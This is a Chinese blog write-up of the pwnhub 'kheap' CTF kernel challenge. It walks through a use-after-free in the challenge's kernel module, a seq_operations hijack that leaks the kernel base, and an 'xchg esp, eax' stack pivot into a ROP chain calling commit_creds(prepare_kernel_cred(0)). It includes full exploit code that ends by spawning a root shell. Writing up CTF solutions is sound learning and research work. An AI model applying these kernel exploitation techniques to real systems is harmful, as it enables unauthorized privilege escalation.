初探内核(三)

pwnhub kheap

学完了基础的三种内核漏洞,回头看看前一周的 pwnhub 公开赛的这道 kheap

先查看 start.sh 文件和 init 文件

可以看到开启了 kaslr 、 smep ,双核单线程运行

可知模块是 kheap.ko ,挂载设备是 /dev/kheap

分析 kheap.ko ,开启了 Canary 和 NX

实现了一个类似菜单堆题的申请和释放内存,申请的内存大小为 0x20。

再看 khep_read 函数,其中 _check_object_size 会检测 select 是否内核空间数据

而且是使用 select 这个全局变量来传输数据的,而 select 是可以指向一块被我们 free 的内存,我们可以将这个 内存 给 seq_operation 结构体使用,这样就能够实现 uaf 劫持。

seq_operations是一个大小为 0x20 的结构体,在打开 /proc/self/sta t会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

那么当我们劫持 seq_operation 结构体后,再接着利用 select 这个全局变量指向 seq_operation 结构体的漏洞,来通过 khep_read 泄露 kernel_base

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
#include <pthread.h>
int dev_fd, seq_fd;
long user_ss, user_cs, user_rsp, user_flag, kernel_base;
void save_status(){
    __asm__(
        "mov user_ss, ss;"
        "mov user_cs, cs;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_flag;"    
        );
}
struct info{
    long idx;
    char * ptr;
};
void add(long idx){
    struct info arg = {idx, NULL};
    ioctl(dev_fd, 0x10000, &arg); 
}
void delete(long idx){
    struct info arg = {idx, NULL};
    ioctl(dev_fd, 0x10001, &arg);
}
void set_select(long idx){
    struct info arg = {idx, NULL};
    ioctl(dev_fd, 0x10002, &arg);
}

int main(){
    save_status();
    long *recv = malloc(0x20);
    // uaf -> leak kernel_base
    dev_fd = open("/dev/kheap", O_RDWR);
    add(0);
    set_select(0);
    delete(0);
    seq_fd = open("/proc/self/stat", O_RDONLY);
    
    read(dev_fd, (char *)recv, 0x20);
    kernel_base = recv[0] - 0x33F980;
    printf(" kernerl_base -> 0x%lx\n", kernel_base);
    
}

攻击效果

这里要注意,/proc/self/stat 文件是只读权限文件,只能用 O_RDONLY 权限打开,否则打开失败。

接下来就是通过劫持 seq_operations 结构体来进行 ROP

当我们 read 一个 stat 文件时,内核会调用 proc_ops 的 proc_read_iter 指针

即会调用 seq_operations -> start 指针,我们只需覆盖 start 指针为特定 gadget,即可控制程序执行流。

接下来要分析怎么劫持 start 指针为 特定 gadget 来进行 ROP 进行提权攻击。

首先是 gadget 的寻找,由于题目没有附带 vmlinux 文件,所以只能处理 bzImage 得到,但是用 extract-vmlinux 脚本处理得到的 vmlinux 是没有符号表的,不能载入 pwntools 来找函数地址,经 peiwithhao 师傅帮助下知道了 vmlinux_to_elf 脚本,用这个脚本就可以处理 bzImage 得到带有符号表的 vmlinux

这里的 特定gadget 用到的是 xchg esp, eax ; ret

当 exp 执行到 read(seq_fd, NULL, 1) 后,程序被我们劫持到了 xchg esp, eax ;可以看到此时的 rax 寄存器存放着特定 gaget 的值,而执行完 xchg esp, eax 指令后, esp 指向了低位的用户态地址

如果我们在该用户态空间中利用 mmap 函数赋予 rwx 权限,在里面部署 ROP,调用 commit_creds(prepare_kernel_cred(0)) ,然后返回用户态 fork 一个子进程交互来提权。

这里还用到了 kpti_trampoline ,网上搜索资料后发现,这应该算是一个 magic gadet ,用来更好地让我们从内核态返回用户态,不用特定去寻找 swapgs 指令和 iretq 指令

这个指令位于 swapgs_restore_regs_and_return_to_usermode 函数的地址 + 22

swapgs_restore_regs_and_return_to_usermode + 22 后的汇编代码如下

mov rdi, rsp 后,之后的 push [rdi + xx] 我们就能够很方便将返回用户态时需要的值部署到栈上

在 ROP 时候,我们需要这样部署就可以了

kpti_trampoline 
0 
0 
rip 
cs 
flag 
rsp 
ss

因此,这么部署 ROP

uint64_t * ROP = (uint64_t *)(((char *)mmap_addr) + 0xa10), i = 0;
    *(ROP + i++) = pop_rdi;
    *(ROP + i++) = 0;
    *(ROP + i++) = prepare_kernel_cred;
    *(ROP + i++) = commit_creds;
    *(ROP + i++) = kpti_trampoline + 22;
    *(ROP + i++) = 0;
    *(ROP + i++) = 0;
    *(ROP + i++) = (uint64_t)get_shell;
    *(ROP + i++) = user_cs;
    *(ROP + i++) = user_flag;
    *(ROP + i++) = user_rsp;
    *(ROP + i++) = user_ss;

在 gdb 中

接下来会执行 prepare_kernel_cred(0) 和 commit_creds,然后是 kpti_trampoline 返回用户态完成提权攻击

最终 exp

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <linux/fs.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>

int dev_fd, seq_fd;
uint64_t user_ss, user_cs, user_rsp, user_flag, kernel_base;
void save_status(){
    __asm__(
        "mov user_ss, ss;"
        "mov user_cs, cs;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_flag;"    
        );
}
void get_shell(){
    system("/bin/sh");
}
struct info{
    uint64_t idx;
    char * ptr;
};
void add(uint64_t idx){
    struct info arg = {idx, NULL};
    ioctl(dev_fd, 0x10000, &arg); 
}
void delete(uint64_t idx){
    struct info arg = {idx, NULL};
    ioctl(dev_fd, 0x10001, &arg);
}
void set_select(uint64_t idx){
    struct info arg = {idx, NULL};
    ioctl(dev_fd, 0x10002, &arg);
}

int main(){
    save_status();
    uint64_t *recv = malloc(0x20), *buf = malloc(0x20);
    // uaf -> leak kernel_base
    dev_fd = open("/dev/kheap", O_RDWR);
    add(0);
    set_select(0);
    delete(0);
    seq_fd = open("/proc/self/stat", O_RDONLY);
    
    read(dev_fd, (char *)recv, 0x20);
    kernel_base = recv[0] - 0x33F980;
    printf(" kernerl_base -> 0x%lx\n", kernel_base);
    
    uint64_t prepare_kernel_cred = kernel_base + 0xcebf0;
    uint64_t commit_creds = kernel_base + 0xce710;
    uint64_t kpti_trampoline = kernel_base + 0xc00fb0;
    uint64_t seq_read = kernel_base + 0x340560;
    uint64_t pop_rdi = kernel_base + 0x2517a;
    uint64_t mov_rdi_rax = kernel_base + 0x5982f4;    
    uint64_t gadget = kernel_base + 0x94a10;
    
    uint64_t * mmap_addr = mmap((void *)(gadget & 0xFFFFF000), 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_SHARED, -1, 0);
    printf(" gadget_addr -> 0x%lx\n", gadget);
    printf(" mmap_addr -> 0x%lx\n", (uint64_t)mmap_addr);

    uint64_t * ROP = (uint64_t *)(((char *)mmap_addr) + 0xa10), i = 0;
    *(ROP + i++) = pop_rdi;
    *(ROP + i++) = 0;
    *(ROP + i++) = prepare_kernel_cred;
    *(ROP + i++) = commit_creds;
    *(ROP + i++) = kpti_trampoline + 22;
    *(ROP + i++) = 0;
    *(ROP + i++) = 0;
    *(ROP + i++) = (uint64_t)get_shell;
    *(ROP + i++) = user_cs;
    *(ROP + i++) = user_flag;
    *(ROP + i++) = user_rsp;
    *(ROP + i++) = user_ss;
    printf(" ROP_addr is 0x%lx\n", (uint64_t)ROP);    
    memcpy(buf, recv, 0x20);
    buf[0] = gadget;
    write(dev_fd, (char *)buf, 0x20);
    read(seq_fd, NULL, 1);

}

最后还有一个问题,ROP 不是直接利用 ROP 链调用的吗,mmap 有什么用呢,我一开始以后是为了开辟一个在用户态的有 rwx 权限的内存段,后来发现, 这里应该是为了配合 xchg eax, esp ; ret 指令使用,来让 ret 指令刚好指向一个确定的地址来执行我们部署的 ROP 链,至于是不是 x 权限应该不重要。

posted @ 2023-03-21 10:48  xshhc  阅读(94)  评论(0编辑  收藏  举报